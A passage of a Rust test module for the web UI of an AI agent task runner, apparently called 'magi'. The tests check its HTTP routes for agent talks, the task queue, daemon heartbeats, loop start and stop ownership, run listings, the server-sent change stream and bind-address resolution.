4350 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4351 let f = Fixture::with_repo(repo.clone()).await;
4352 (tmp, repo, f)
4353 }
4354
4355 #[tokio::test]
4356 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
4357 let (_tmp, _repo, f) = talk_fixture().await;
4358
4359 let opened = f.post("/api/talks", None).await;
4362 assert_eq!(opened.status, 201, "{}", opened.body);
4363 let body = opened.json();
4364 assert_eq!(body["status"], "open");
4365 assert_eq!(
4366 body["turns"].as_array().unwrap().len(),
4367 0,
4368 "opening takes no agent turn: there is nothing yet to answer"
4369 );
4370
4371 let also_opened = f.post("/api/talks", Some("{}")).await;
4373 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
4374
4375 let listed = f.get("/api/talks").await.json();
4376 assert_eq!(listed.as_array().unwrap().len(), 2);
4377 }
4378
4379 #[tokio::test]
4380 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
4381 let f = Fixture::start().await;
4382 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
4383 let queue = f.queue();
4384 let mut mine = Task::new(
4385 "rename the loader".to_owned(),
4386 "rename the loader".to_owned(),
4387 PathBuf::from("/repo/magi"),
4388 Source::Agent {
4389 run: talk_id.clone(),
4390 node: "chat".to_owned(),
4391 },
4392 );
4393 queue.put(&mut mine).expect("file the task");
4394 let mut theirs = Task::new(
4395 "unrelated".to_owned(),
4396 "unrelated".to_owned(),
4397 PathBuf::from("/repo/magi"),
4398 Source::Human,
4399 );
4400 queue.put(&mut theirs).expect("file the task");
4401
4402 let res = f.get(&format!("/api/talks/{talk_id}")).await;
4403 assert_eq!(res.status, 200, "{}", res.body);
4404 let body = res.json();
4405 assert_eq!(
4406 body["status"], "open",
4407 "filing a task does not close a talk"
4408 );
4409 let tasks = body["tasks"].as_array().expect("tasks array");
4410 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
4411 assert_eq!(tasks[0]["id"], mine.id);
4412 }
4413
4414 #[tokio::test]
4415 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
4416 let (_tmp, _repo, f) = talk_fixture().await;
4417 let id = f.post("/api/talks", None).await.json()["id"]
4418 .as_str()
4419 .expect("id")
4420 .to_owned();
4421
4422 let res = f
4423 .post(
4424 &format!("/api/talks/{id}/say"),
4425 Some(r#"{"text":"what does the queue module do?"}"#),
4426 )
4427 .await;
4428 assert_eq!(res.status, 202, "{}", res.body);
4429 let queued = res.json();
4430 let turns = queued["turns"].as_array().expect("turns array");
4431 assert_eq!(
4432 turns.len(),
4433 1,
4434 "the answer reflects only what is on disk the instant it is sent, \
4435 before the agent's turn - which can run for `talk::TURN_TIMEOUT` \
4436 - has a chance to land: {queued}"
4437 );
4438 assert_eq!(turns[0]["who"], "operator");
4439 assert_eq!(turns[0]["body"], "what does the queue module do?");
4440
4441 let mut turns_after = 1;
4442 for _ in 0..200 {
4443 let detail = f.get(&format!("/api/talks/{id}")).await.json();
4444 turns_after = detail["turns"].as_array().expect("turns array").len();
4445 if turns_after == 2 {
4446 break;
4447 }
4448 tokio::time::sleep(Duration::from_millis(10)).await;
4449 }
4450 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
4451 }
4452
4453 #[tokio::test]
4454 async fn talk_close_makes_the_talk_refuse_further_turns() {
4455 let f = Fixture::start().await;
4456 let id = seed_talk(&f, "20260904-014455-cd34", "open");
4457
4458 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
4459 assert_eq!(closed.status, 200, "{}", closed.body);
4460 assert_eq!(closed.json()["status"], "closed");
4461
4462 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
4464 assert_eq!(closed_again.status, 200);
4465 assert_eq!(closed_again.json()["status"], "closed");
4466 }
4467
4468 #[tokio::test]
4469 async fn talks_never_appear_in_the_planning_chat_list() {
4470 let (_tmp, _repo, f) = talk_fixture().await;
4471
4472 let opened = f.post("/api/talks", None).await;
4473 assert_eq!(opened.status, 201, "{}", opened.body);
4474
4475 let chats = f.get("/api/chats").await.json();
4476 assert!(
4477 chats.as_array().unwrap().is_empty(),
4478 "a talk must never surface as a planning chat: {chats}"
4479 );
4480 let talks = f.get("/api/talks").await.json();
4481 assert_eq!(talks.as_array().unwrap().len(), 1);
4482 }
4483
4484 #[tokio::test]
4485 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
4486 let f = Fixture::start().await;
4487 let queue = f.queue();
4488 let mut task = Task::new(
4489 "spent".to_owned(),
4490 "Try again".to_owned(),
4491 PathBuf::from("/repo/magi"),
4492 Source::Human,
4493 );
4494 task.start("20260902-140502-bbbb".to_owned());
4495 task.fail("agent gave up", 9);
4496 queue.put(&mut task).expect("file the task");
4497
4498 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4499 assert_eq!(held.status, 200);
4500 assert_eq!(held.json()["status_str"], "held");
4501
4502 let released = f
4503 .post(&format!("/api/queue/{}/release", task.id), None)
4504 .await;
4505 assert_eq!(released.status, 200);
4506 assert_eq!(released.json()["status_str"], "queued");
4507 assert_eq!(
4508 released.json()["attempts"],
4509 0,
4510 "release is a real second chance, not an instant re-hold"
4511 );
4512 assert_eq!(
4513 queue.get(&task.id).expect("reload").status,
4514 TaskStatus::Queued,
4515 "the change is on disk, not only in the reply"
4516 );
4517 assert!(
4518 !f.home
4519 .path()
4520 .join("queue")
4521 .join(format!("{}.lock", task.id))
4522 .exists(),
4523 "the claim the mutation took is released again"
4524 );
4525 }
4526
4527 #[tokio::test]
4528 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
4529 let f = Fixture::start().await;
4530 let queue = f.queue();
4531 let mut task = Task::new(
4532 "busy".to_owned(),
4533 "Running right now".to_owned(),
4534 PathBuf::from("/repo/magi"),
4535 Source::Human,
4536 );
4537 queue.put(&mut task).expect("file the task");
4538 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
4539
4540 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4541
4542 assert_eq!(res.status, 409);
4543 assert_eq!(
4544 queue.get(&task.id).expect("reload").status,
4545 TaskStatus::Queued,
4546 "the refused hold changed nothing"
4547 );
4548 }
4549
4550 #[tokio::test]
4551 async fn unknown_ids_are_json_not_found_on_both_stores() {
4552 let f = Fixture::start().await;
4553
4554 let run = f.get("/api/runs/nosuchrun").await;
4555 let task = f.post("/api/queue/nosuchtask/hold", None).await;
4556
4557 assert_eq!(run.status, 404);
4558 assert_eq!(task.status, 404);
4559 assert!(
4560 run.json()["error"]
4561 .as_str()
4562 .is_some_and(|e| e.contains("run")),
4563 "the error names what was not found: {}",
4564 run.body
4565 );
4566 assert!(
4567 task.json()["error"]
4568 .as_str()
4569 .is_some_and(|e| e.contains("task")),
4570 "the error names what was not found: {}",
4571 task.body
4572 );
4573 }
4574
4575 #[tokio::test]
4576 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
4577 let f = Fixture::start().await;
4578
4579 let missing = f.get("/api/health").await.json();
4580 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
4581
4582 write_daemon(
4583 f.home.path(),
4584 Timestamp::now() - jiff::SignedDuration::from_secs(60),
4585 );
4586 let stale = f.get("/api/health").await.json();
4587 assert_eq!(
4588 stale["daemon"]["running"], false,
4589 "a minute without a heartbeat is a dead daemon, not a busy one"
4590 );
4591 assert!(
4592 stale["daemon"]["stale_for_secs"]
4593 .as_i64()
4594 .is_some_and(|s| s >= 55),
4595 "staleness is reported so the UI can say how long: {stale}"
4596 );
4597
4598 write_daemon(f.home.path(), Timestamp::now());
4599 let fresh = f.get("/api/health").await.json();
4600 assert_eq!(fresh["daemon"]["running"], true);
4601 assert_eq!(fresh["daemon"]["idle"], false);
4602 assert_eq!(fresh["daemon"]["pid"], 4242);
4603 assert_eq!(fresh["daemon"]["completed"], 7);
4604 assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
4605 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
4606 }
4607
4608 #[tokio::test]
4609 async fn the_loop_is_not_running_until_something_starts_it() {
4610 let f = Fixture::start().await;
4611
4612 let view = f.get("/api/loop").await.json();
4613 assert_eq!(view["running"], false);
4614 assert_eq!(
4615 view["owned"], false,
4616 "nobody owns a loop that does not exist: {view}"
4617 );
4618 assert_eq!(view["stopping"], false);
4619 assert_eq!(view["last_error"], Value::Null);
4620 assert_eq!(view["daemon"]["running"], false);
4621 assert_eq!(
4622 view["repo"], "/repo/magi",
4623 "the repository a start would use, named before it is started"
4624 );
4625 }
4626
4627 #[tokio::test]
4628 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
4629 let f = Fixture::start().await;
4630
4631 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4632 assert_eq!(res.status, 200, "{}", res.body);
4633 let view = res.json();
4634 assert_eq!(view["running"], true);
4635 assert_eq!(
4636 view["owned"], true,
4637 "the loop the UI started is the UI's own to stop: {view}"
4638 );
4639 assert_eq!(
4640 view["merge"],
4641 Value::Null,
4642 "no override was given, so each repository's own config decides"
4643 );
4644
4645 let health = f.get("/api/health").await.json();
4649 assert_eq!(health["loop"]["running"], true, "{health}");
4650 assert_eq!(health["loop"]["owned"], true, "{health}");
4651
4652 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4653 }
4654
4655 #[tokio::test]
4656 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
4657 let f = Fixture::start().await;
4658 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4659 assert_eq!(first.status, 200, "{}", first.body);
4660
4661 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4662 assert_eq!(
4663 again.status, 409,
4664 "two loops on one queue race for the same claims: {}",
4665 again.body
4666 );
4667 assert!(
4668 again.json()["error"]
4669 .as_str()
4670 .is_some_and(|e| e.contains("already running the loop")),
4671 "the refusal has to say why: {}",
4672 again.body
4673 );
4674 assert_eq!(
4675 f.get("/api/loop").await.json()["running"],
4676 true,
4677 "and the loop that was already running is untouched by it"
4678 );
4679
4680 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4681 }
4682
4683 #[tokio::test]
4684 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
4685 let f = Fixture::start().await;
4686 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4687
4688 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4689 assert_eq!(
4690 res.status, 200,
4691 "the answer must not wait for the loop: a run in flight is tens of \
4692 minutes and the operator is holding a phone: {}",
4693 res.body
4694 );
4695
4696 let view = settled(&f, |v| v["running"] == false).await;
4697 assert_eq!(view["owned"], false);
4698 assert_eq!(
4699 view["stopping"], false,
4700 "a loop that has stopped is not still stopping: {view}"
4701 );
4702 assert_eq!(
4703 view["last_error"],
4704 Value::Null,
4705 "a loop that was asked to stop did not fail: {view}"
4706 );
4707
4708 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4711 assert_eq!(twice.status, 200, "{}", twice.body);
4712 }
4713
4714 #[tokio::test]
4715 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
4716 let f = Fixture::start().await;
4717 write_daemon(f.home.path(), Timestamp::now());
4720
4721 let view = f.get("/api/loop").await.json();
4722 assert_eq!(view["running"], false, "not in this process: {view}");
4723 assert_eq!(view["owned"], false, "and not this process's to control");
4724 assert_eq!(
4725 view["daemon"]["running"], true,
4726 "but a loop is alive somewhere, which is what the UI must say"
4727 );
4728 assert_eq!(view["daemon"]["pid"], 4242);
4729
4730 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
4731 let res = f.post("/api/loop", Some(body)).await;
4732 assert_eq!(
4733 res.status, 409,
4734 "neither button may pretend to work on someone else's loop: {}",
4735 res.body
4736 );
4737 assert!(
4738 res.json()["error"]
4739 .as_str()
4740 .is_some_and(|e| e.contains("4242")),
4741 "the refusal has to name the process the operator must go to: {}",
4742 res.body
4743 );
4744 }
4745 assert_eq!(
4746 f.get("/api/loop").await.json()["running"],
4747 false,
4748 "and the refusal started nothing"
4749 );
4750 }
4751
4752 #[tokio::test]
4753 async fn a_stale_status_file_is_not_a_foreign_owner() {
4754 let f = Fixture::start().await;
4755 write_daemon(
4756 f.home.path(),
4757 Timestamp::now() - jiff::SignedDuration::from_secs(60),
4758 );
4759
4760 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4761 assert_eq!(
4762 res.status, 200,
4763 "a daemon killed a minute ago must not lock the loop out of its \
4764 own home for good: {}",
4765 res.body
4766 );
4767 assert_eq!(res.json()["running"], true);
4768
4769 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4770 }
4771
4772 #[tokio::test]
4773 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
4774 let f = Fixture::start().await;
4775 let before = f.get("/api/health").await.json()["loop_rev"]
4776 .as_u64()
4777 .expect("a loop revision");
4778
4779 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4780
4781 let after = f.get("/api/health").await.json()["loop_rev"]
4782 .as_u64()
4783 .expect("a loop revision");
4784 assert!(
4785 after > before,
4786 "the loop is in-process state, so this counter is the only thing \
4787 that tells a second device the first one started it: {before} -> \
4788 {after}"
4789 );
4790
4791 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4792 }
4793
4794 #[tokio::test]
4795 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
4796 let f = Fixture::with_loop(launch_broken).await;
4797
4798 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4799 assert_eq!(
4800 res.status, 200,
4801 "starting it is not the failure: {}",
4802 res.body
4803 );
4804
4805 let view = settled(&f, |v| v["last_error"].is_string()).await;
4806 assert_eq!(
4807 view["running"], false,
4808 "a loop that died must not read as running, or the operator has \
4809 nothing to press: {view}"
4810 );
4811 assert_eq!(view["owned"], false);
4812 assert!(
4813 view["last_error"]
4814 .as_str()
4815 .is_some_and(|e| e.contains("read-only file system")),
4816 "the phone is where a loop that died at 3am is visible: {view}"
4817 );
4818
4819 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4822 assert_eq!(again.status, 200, "{}", again.body);
4823 assert_eq!(
4824 again.json()["last_error"],
4825 Value::Null,
4826 "a fresh start does not keep showing why the last one died"
4827 );
4828 }
4829
4830 #[tokio::test]
4842 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
4843 let home = TempDir::new().expect("temp home");
4844 let runs = home.path().join("runs");
4845 std::fs::create_dir_all(&runs).expect("runs dir");
4846 let ui = Ui::new(
4847 Queue::at(home.path().join("queue")),
4848 Questions::at(home.path().join("questions")),
4849 Chats::at(home.path().join("chats")),
4850 Talks::at(home.path().join("talks")),
4851 runs,
4852 home.path().to_path_buf(),
4853 PathBuf::from("/repo/magi"),
4854 )
4855 .with_worktrees_root(home.path().join("wt"))
4856 .with_launch(launch_knocking_on_the_way_out);
4857 let looping = ui.looping();
4858 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4859 .await
4860 .expect("bind loopback");
4861 let addr = listener.local_addr().expect("local addr");
4862 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
4863 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
4864
4865 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
4866 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
4867
4868 let bound = std::sync::Mutex::new(None);
4871 hand_over(&looping, served, || {
4872 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
4873 *bound.lock().expect("bound") = Some(attempt);
4874 Ok(())
4875 })
4876 .await
4877 .expect("hand over");
4878
4879 assert_eq!(
4880 *PARK_HEARD.lock().expect("park heard"),
4881 Some(200),
4882 "the deck must answer while the loop is parking"
4883 );
4884 let attempt = bound
4885 .lock()
4886 .expect("bound")
4887 .take()
4888 .expect("the successor was started");
4889 assert!(
4890 attempt.is_ok(),
4891 "and the address must be free by the time it is: {attempt:?}"
4892 );
4893 }
4894
4895 #[tokio::test]
4896 async fn a_newer_daemon_status_file_still_renders() {
4897 let f = Fixture::start().await;
4898 std::fs::write(
4901 f.home.path().join("daemon.json"),
4902 serde_json::json!({
4903 "schema": 2,
4904 "updated_at": Timestamp::now().to_string(),
4905 "idle": true,
4906 "surprise": { "nested": [1, 2, 3] },
4907 })
4908 .to_string(),
4909 )
4910 .expect("write daemon.json");
4911
4912 let health = f.get("/api/health").await;
4913
4914 assert_eq!(health.status, 200);
4915 assert_eq!(health.json()["daemon"]["running"], true);
4916 }
4917
4918 #[tokio::test]
4919 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
4920 let f = Fixture::start().await;
4921 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
4922 let broken = f.runs().join("20260902-140502-bad");
4923 std::fs::create_dir_all(&broken).expect("run dir");
4924 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
4925
4926 let list = f.get("/api/runs").await;
4927 let detail = f.get("/api/runs/20260902-140502-bad").await;
4928
4929 assert_eq!(list.status, 200);
4930 let listed = list.json();
4931 let ids: Vec<&str> = listed
4932 .as_array()
4933 .expect("an array")
4934 .iter()
4935 .map(|r| r["id"].as_str().expect("an id"))
4936 .collect();
4937 assert_eq!(
4938 ids,
4939 vec!["20260902-140501-good"],
4940 "one unreadable run must not cost the operator the whole history"
4941 );
4942 assert_eq!(detail.status, 500);
4943 assert!(
4944 detail.json()["error"]
4945 .as_str()
4946 .is_some_and(|e| e.contains("run.json")),
4947 "the failure names the file to look at: {}",
4948 detail.body
4949 );
4950 let health = f.get("/api/health").await;
4954 assert_eq!(health.json()["runs_unreadable"], 1);
4955 }
4956
4957 #[tokio::test]
4958 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
4959 let f = Fixture::start().await;
4960 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
4961
4962 let summary = f.get("/api/runs").await.json();
4963 let row = &summary[0];
4964 assert_eq!(row["short"], "a1b2");
4965 assert_eq!(row["status"], "ready");
4966 assert_eq!(row["done"], true);
4967 assert_eq!(row["title"], "Add a web UI");
4968 assert_eq!(row["repo_name"], "magi");
4969 assert_eq!(row["judges"], 3);
4970 assert_eq!(row["winner"], Value::Null);
4971 assert_eq!(row["reviews"], 0);
4972
4973 let detail = f.get("/api/runs/a1b2").await;
4976 assert_eq!(detail.status, 200);
4977 assert_eq!(detail.json()["base_branch"], "main");
4978 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
4979 }
4980
4981 #[tokio::test]
4982 async fn the_run_list_is_newest_first_and_honours_a_limit() {
4983 let f = Fixture::start().await;
4984 for id in [
4985 "20260902-140501-aaaa",
4986 "20260902-140502-bbbb",
4987 "20260902-140503-cccc",
4988 ] {
4989 write_run(&f.runs(), id, RunStatus::Merged);
4990 }
4991
4992 let all = f.get("/api/runs").await.json();
4993 let capped = f.get("/api/runs?limit=2").await.json();
4994
4995 assert_eq!(all[0]["id"], "20260902-140503-cccc");
4996 assert_eq!(all.as_array().map(Vec::len), Some(3));
4997 assert_eq!(capped.as_array().map(Vec::len), Some(2));
4998 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
4999 }
5000
5001 #[tokio::test]
5002 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
5003 let f = Fixture::start().await;
5004 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
5005
5006 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
5007
5008 assert_eq!(res.status, 200);
5009 assert!(
5010 res.headers
5011 .contains("content-type: text/plain; charset=utf-8"),
5012 "a browser must render it, not download it: {}",
5013 res.headers
5014 );
5015 assert!(
5019 res.body.contains("20260902-140501-a1b2"),
5020 "the report is about the run that was asked for: {}",
5021 res.body
5022 );
5023 }
5024
5025 #[tokio::test]
5026 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
5027 let f = Fixture::start().await;
5028
5029 let html = f.get("/").await;
5030 let css = f.get("/app.css").await;
5031 let js = f.get("/app.js").await;
5032
5033 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
5034 assert!(
5035 html.headers
5036 .contains("content-type: text/html; charset=utf-8")
5037 );
5038 assert!(css.headers.contains("content-type: text/css"));
5039 assert!(js.headers.contains("content-type: text/javascript"));
5040 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
5041 }
5042
5043 #[tokio::test]
5044 async fn the_change_stream_announces_the_current_revisions_on_connect() {
5045 let f = Fixture::start().await;
5046
5047 let mut socket = tokio::net::TcpStream::connect(f.addr)
5048 .await
5049 .expect("connect");
5050 socket
5051 .write_all(
5052 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
5053 )
5054 .await
5055 .expect("write request");
5056
5057 let mut seen = String::new();
5060 let mut buf = [0u8; 1024];
5061 while !seen.contains("event: change") {
5062 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
5063 .await
5064 .expect("the stream must speak within five seconds")
5065 .expect("read");
5066 assert!(read > 0, "the server closed the change stream: {seen}");
5067 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
5068 }
5069
5070 assert!(
5071 seen.to_lowercase()
5072 .contains("content-type: text/event-stream"),
5073 "the browser only reconnects automatically for a real SSE stream: {seen}"
5074 );
5075 let data = seen
5076 .lines()
5077 .find_map(|l| l.strip_prefix("data:"))
5078 .expect("a data line");
5079 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
5080 assert!(
5081 payload["queue_rev"].is_u64()
5082 && payload["runs_rev"].is_u64()
5083 && payload["questions_rev"].is_u64()
5084 && payload["chats_rev"].is_u64()
5085 && payload["talks_rev"].is_u64()
5086 && payload["loop_rev"].is_u64(),
5087 "the client needs one revision per store to know what to refetch, \
5088 and `chats_rev` / `talks_rev` are the only notification a slow \
5089 interview or a standing talk get - a phone whose radio slept \
5090 through a turn learns about it here, as does one whose operator \
5091 started the loop from another device: {payload}"
5092 );
5093
5094 let health = f.get("/api/health").await.json();
5101 for key in [
5102 "queue_rev",
5103 "runs_rev",
5104 "questions_rev",
5105 "chats_rev",
5106 "talks_rev",
5107 "loop_rev",
5108 ] {
5109 assert!(
5110 health[key].is_u64(),
5111 "health is the change stream's fallback and is missing `{key}`: {health}"
5112 );
5113 }
5114 }
5115
5116 #[tokio::test]
5117 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
5118 let f = Fixture::start().await;
5119 let before = f.get("/api/health").await.json()["talks_rev"]
5120 .as_u64()
5121 .expect("talks_rev");
5122
5123 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
5124 std::thread::sleep(Duration::from_millis(10));
5125 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
5126 on_disk.turns.push(crate::talk::Turn {
5127 who: crate::talk::Who::Operator,
5128 body: "a new turn".to_owned(),
5129 at: Timestamp::now(),
5130 });
5131 f.talks().put(&mut on_disk).expect("record a turn");
5132
5133 let after = f.get("/api/health").await.json()["talks_rev"]
5134 .as_u64()
5135 .expect("talks_rev");
5136 assert_ne!(
5137 before, after,
5138 "a phone must be able to notice a talk's reply without polling every store"
5139 );
5140 }
5141
5142 #[test]
5143 fn bind_reads_back_from_the_spelling_the_cli_prints() {
5144 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
5148 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
5149 }
5150 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
5151 assert!("everywhere".parse::<Bind>().is_err());
5152 }
5153
5154 #[test]
5155 fn an_explicit_bind_address_is_taken_verbatim() {
5156 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
5157
5158 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
5159
5160 assert_eq!(addr, asked);
5161 assert!(
5162 warning.is_none(),
5163 "an operator who named an address gets no lecture"
5164 );
5165 }
5166
5167 #[test]
5168 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
5169 let (addr, warning) = resolve_bind(&Bind::Auto);
5170
5171 match addr {
5178 IpAddr::V4(ip) if is_tailnet(&ip) => {
5179 assert!(warning.is_none(), "a tailnet address needs no warning");
5180 }
5181 other => {
5182 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
5183 let warning = warning.expect("a fallback has to explain itself");
5184 assert!(
5185 warning.contains("127.0.0.1") && warning.contains("local-only"),
5186 "the warning says what happened and what it costs: {warning}"
5187 );
5188 }
5189 }
5190 }
5191
5192 #[test]
5193 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
5194 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
5198 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
5199 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
5200 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
5201 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
5202 }
5203
5204 #[test]
5205 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
5206 let ids = vec![
5207 "20260902-140501-aaaa".to_owned(),
5208 "20260902-140502-aabb".to_owned(),
5209 ];
5210
5211 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
5212 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
5213 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
5214
5215 assert_eq!(missing.status, StatusCode::NOT_FOUND);
5216 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
5217 assert_eq!(short, "20260902-140502-aabb");
5218 }
5219 #[tokio::test]
5220 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
5221 let fx = Fixture::start().await;
5227 let id = panel(
5228 &fx,
5229 "<img src=\"shot.png\">",
5230 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
5231 );
5232
5233 let doc = fx
5235 .get(&format!("/api/questions/{id}/panel/index.html"))
5236 .await;
5237 assert_eq!(doc.status, 200, "{}", doc.body);
5238 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
5239
5240 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
5241 assert_eq!(sibling.status, 200, "{}", sibling.body);
5242 assert_eq!(sibling.header("content-type"), Some("image/png"));
5243 assert_eq!(
5244 sibling.header("content-security-policy"),
5245 Some(PANEL_CSP),
5246 "the sibling route must carry the same policy as the asset route"
5247 );
5248
5249 assert_eq!(
5252 fx.head(&format!("/api/questions/{id}/panel")).await.status,
5253 200
5254 );
5255 }
5256
5257 #[test]
5258 fn runs_revision_moves_when_deleting_an_older_run() {
5259 let temp = TempDir::new().expect("tempdir");
5260 let runs = temp.path().join("runs");
5261 std::fs::create_dir_all(&runs).expect("create runs dir");
5262
5263 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
5264
5265 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
5266 std::thread::sleep(Duration::from_millis(10));
5267 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
5268
5269 let rev_before = runs_revision(&runs);
5270 assert!(rev_before > 0);
5271
5272 let old_dir = runs.join("20260901-100000-old1");
5273 std::fs::remove_dir_all(&old_dir).expect("remove old run");
5274
5275 let rev_after = runs_revision(&runs);
5276 assert_ne!(
5277 rev_before, rev_after,
5278 "deleting an older run must change the revision so other clients see the deletion"
5279 );
5280 }
5281
5282 #[tokio::test]
5283 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
5284 let fx = Fixture::start().await;
5285 let q = fx.queue();
5286
5287 let mut t1 = Task::new(
5289 "Task 1".to_owned(),
5290 "Instruction 1".to_owned(),
5291 PathBuf::from("/repo"),
5292 Source::Human,
5293 );
5294 let run_id = "20260901-000000-r111";
5295 t1.runs.push(run_id.to_owned());
5296 write_run(&fx.runs(), run_id, RunStatus::Merged);
5297 q.put(&mut t1).expect("put t1");
5298
5299 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
5301 assert_eq!(res.status, 204);
5302 assert!(res.body.is_empty(), "204 No Content has no body");
5303 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
5304 assert!(
5305 fx.runs().join(run_id).exists(),
5306 "run directory must not be deleted when its task is deleted"
5307 );
5308
5309 let mut t2 = Task::new(
5311 "Task 2".to_owned(),
5312 "Instruction 2".to_owned(),
5313 PathBuf::from("/repo"),
5314 Source::Human,
5315 );
5316 t2.status = TaskStatus::Running;
5317 q.put(&mut t2).expect("put t2");
5318 let mut beat = crate::daemon::Status::new();
5319 beat.current = Some(crate::daemon::Current {
5320 task: t2.id.clone(),
5321 run: "20260901-000000-r222".to_owned(),
5322 });
5323 beat.updated_at = jiff::Timestamp::now();
5324 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5325 .expect("publish a heartbeat");
5326 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
5327 assert_eq!(res.status, 409);
5328 assert!(
5329 res.json()["error"]
5330 .as_str()
5331 .unwrap()
5332 .contains("live daemon")
5333 );
5334 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
5335
5336 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
5342 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5343 .expect("leave a stale heartbeat");
5344 let mut t3 = Task::new(
5345 "Task 3".to_owned(),
5346 "Instruction 3".to_owned(),
5347 PathBuf::from("/repo"),
5348 Source::Human,
5349 );
5350 t3.status = TaskStatus::Running;
